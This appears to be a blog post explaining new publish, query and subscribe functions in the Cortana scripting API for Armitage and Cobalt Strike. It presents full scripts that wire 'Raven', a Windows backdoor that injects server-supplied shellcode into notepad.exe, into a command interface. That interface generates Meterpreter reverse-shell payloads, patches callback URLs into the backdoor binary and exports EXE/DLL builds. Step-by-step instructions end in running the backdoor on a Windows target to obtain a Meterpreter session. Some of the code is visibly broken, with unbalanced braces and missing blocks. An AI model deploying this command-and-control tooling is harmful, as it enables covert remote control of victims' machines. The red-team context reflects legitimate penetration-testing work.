One of the goals of Cortana is to give you the ability to integrate third-party tools and agents into Armitage and Cobalt Strike’s red team collaboration architecture. Last year, I was able to put the base language together, but the API had a major gap. There was no sanctioned way for Cortana bots to communicate with each other. Without this ability, I could not integrate a tool in the way this diagram envisions:


The latest Armitage and Cobalt Strike update addressed this gap by adding publish, query, and subscribe primitives to the Cortana API. Any script may publish data that other scripts (even across the team server) may consume. The query function makes it possible for any script to consume published data, in the order it happened. Optionally, scripts may share a “cursor”, so only one script may consume any published item or scripts may each provide their own cursor allowing each script to consume all published items in the order they’re made available. Scripts also have the option to subscribe to data. The subscribe function has Cortana periodically poll the team server, query data, and fire local events when new data is available. These three primitives are very powerful tools.

Let’s Integrate Raven

In the Cortana github repository is a Windows backdoor called Raven. Raven regularly polls a web server for taskings. These taskings are shellcode that Raven injects into a new notepad.exe proces. With today’s update, Raven gets a user interface and provides an example of integrating third-party agents into Armitage and Cobalt Strike through Cortana.

Here’s how it works

One system hosts the web server that Raven communicates to. To bridge Raven into the red team collaboration architecture, this system runs a server.cna script. This script watches Raven checkins by tailing the web server’s access.log file. When someone connects to the web server, it publishes information that clients may consume. Likewise, this server script subscribes to any commands that clients have published. When a client publishes a command (containing a URI and shellcode), this script creates that file on the web server so the Raven agent can download this task when it checks in next.

Here’s the code to server.cna:

global('$WEBROOT $WEBLOG');

# where are your web files served from?
$WEBROOT = "/var/www/";

# where is your Apache2 access.log?
$WEBLOG = "/var/log/apache2/access.log";

# this event fires when a command is published by client.cna
on raven_command {
local('$file $shellcode $handle');
($file, $shellcode) = $1;

if ($shellcode eq "") {
deleteFile(getFileProper($WEBROOT, $file));
else {
$handle = openf("> $+ $WEBROOT $+ $file");
writeb($handle, $shellcode);

# Cortana does not like blocking. If you're going to perform an action that blocks, use
# &fork to create a new thread that performs the blocking activity. You can communicate
# with the rest of your script by firing a local event from your fork. Or you can make
# info available globally by publishing information from your fork.
local('$handle $text $host $uri $status $size');

# we're going to watch the weblog with tail. *pHEAR*
$handle = exec("tail -f $WEBLOG");

while $text (readln($handle)) {
if ($text ismatch '(.*?) - - .*? \\"GET (.*?) HTTP.1..\\" (\\d+) (\\d+) .*') {
($host, $uri, $status, $size) = matched();

# publish information on our checkin for client.cna to consume
publish("raven_checkin", %(host => $host, uri => $uri, status => $status, size => $size));
}, \$WEBLOG);

# subscribe to any commands client.cna publishes. Check every 10s for new ones.
subscribe('raven_command', '', '10s');

Thanks to server.cna, we now have a feed of data that raven clients may consume. We also have a way to publish data for the raven agent to act on. Now, we need a client. The client should subscribe to commands that server.cna publishes and present this information to the user. The client should also give the user a way to task the Raven agent. And, the client should give the user a way to configure a Raven DLL or executable.

Fortunately, Cortana was always good at this part. I took a lot of the GUI conventions that exist in Armitage and made them simple to recreate from a script. Here’s what the client.cna I wrote looks like:


Here’s the client.cna script:

# create a popup for the Raven manager, View -> Raven
popup view_middle {
item "&Raven" {
# &spawn is a special function. It accepts a function as an argument
# and runs it in a new Cortana environment. This is like "new Object()"
# in other programming languages. I can now have multiple Raven instances
# at one time. They'll work independently of each other because of the
# isolation &spawn provides.

# a function to task our agent...
sub task {
local('$uri $host $port $shellcode');
$uri = table_selected_single($1, "uri")[0];
($host, $port) = split(":", prompt_text("listener host:port"));

# tell the framework to generate shellcode for us
$shellcode = generate($2, $host, $port, %(), "raw");

# publish a command for server.cna to act on
publish("raven_command", @($uri, $shellcode));

# define popups for our raven manager
popup raven_tasks {
item "Meterp TCP" {
task($1, "windows/meterpreter/reverse_tcp");
item "Meterp HTTP" {
task($1, "windows/meterpreter/reverse_http");
item "Meterp HTTPS" {
task($1, "windows/meterpreter/reverse_https");
item "Clear" {
$uri = table_selected_single($1, "uri")[0];
publish("raven_command", @($uri, ""));

sub raven_manager {
global('$table %checkins $id');

# fired when server.cna publishes a checkin notice for clients to consume
on raven_checkin {
# store our most recent checkin
$key = $1['host'] . $1['uri'];
%checkins[$key] = $1;
%checkins[$key]['last'] = "now";
%checkins[$key]['time'] = ticks();

# sets our table rows
table_update($table, values(%checkins));

# update our Raven table every 1s.
on heartbeat_1s {
local('$host $data');
foreach $host => $data (%checkins) {
$data['last'] = ((ticks() - $data['time']) / 1000) . 's';

table_update($table, values(%checkins));

# fired when user clicks "Task Raven" or "Raven EXE" buttons
on tab_table_click {
if ($3 eq "Export EXE") {
else if ($3 eq "Export DLL") {

# stop any ongoing activity related to this spawned cortana instance when the tab closes
on tab_table_close {

# display a tab with a table showing our raven checkins...
$table = open_table_tab("Raven", $null,
@('host', 'uri', 'status', 'size', 'last'), # columns
@(),                        # rows
@("Export DLL", "Export EXE"),          # buttons
"raven_tasks",                  # popup hook
$null);                     # no multiple selections

# generate a random id that acts as a cursor identifier for all raven checkins
$id = rand(ticks());

# query all checkins so far and add them to our data store
foreach $checkin (query("raven_checkin", $id)) {
$checkin['time'] = ticks();
$checkin['last'] = "unknown";
%checkins[$checkin['host'] . $checkin['uri']] = $checkin;

# subscribe to all future checkins... check for changes every 5s
subscribe("raven_checkin", $id, "5s");

# this function patches raven.exe and raven.dll with user provided info
# it will look for 1024 A's and patch our strng in there. It then saves
# this patched function where ever the user would like it.
sub generate_raven {
local('$urls $handle $data $index $saveto');
$urls = prompt_text("Which URLs should I call back to?\ne.g., http://host1/file1, http://host2/file2, etc.");
if ($urls eq "") {
$urls = join(',', split(',\s+', $urls));

$saveto = prompt_file_save("");
if ($saveto eq "") {

$handle = openf($1);
$data = readb($handle, -1);

$index = indexOf($data, 'A' x 1024);

$urls .= "\x00";
$data = replaceAt($data, "$[1024]urls", $index);

$handle = openf('>' . $saveto);
writeb($handle, $data);


How to try it…

To use these scripts, simply follow these steps on a BackTrack Linux system:

  1. In a terminal, start the web server: service apache2 start
  2. Make sure you have the latest Armitage release and start it
  3. Go to View -> Script Console
  4. Type: load /path/to/server.cna
  5. Type: load /path/to/client.cna
  6. Go to View -> Raven
  7. Press Export EXE and create a Raven executable that points to your BackTrack system (e.g., http://your ip/foo)
  8. Run this EXE on a Windows target
  9. Start a multi/handler for windows/meterpreter/reverse_tcp on port 4444
  10. When the agent checks in, right-click it in the Raven tab, and task it to give you a Meterpreter TCP session on your ip:4444

The beauty of this system is that I have to create client.cna and server.cna once. Now, any number of users connecting to my team server (locally or remotely) may load client.cna. They now have the ability to control this Raven agent managed by server.cna for me.

This integration doesn’t have to apply just to agents. If there’s a tool with an RPC interface, you may create a server.cna script that exposes its capabilities to a client.cna script that you write.

This was always part of the vision behind Cortana. Unfortunately, one year ago, the team server didn’t have the primitives to support a publish, query, subscribe API. It does now.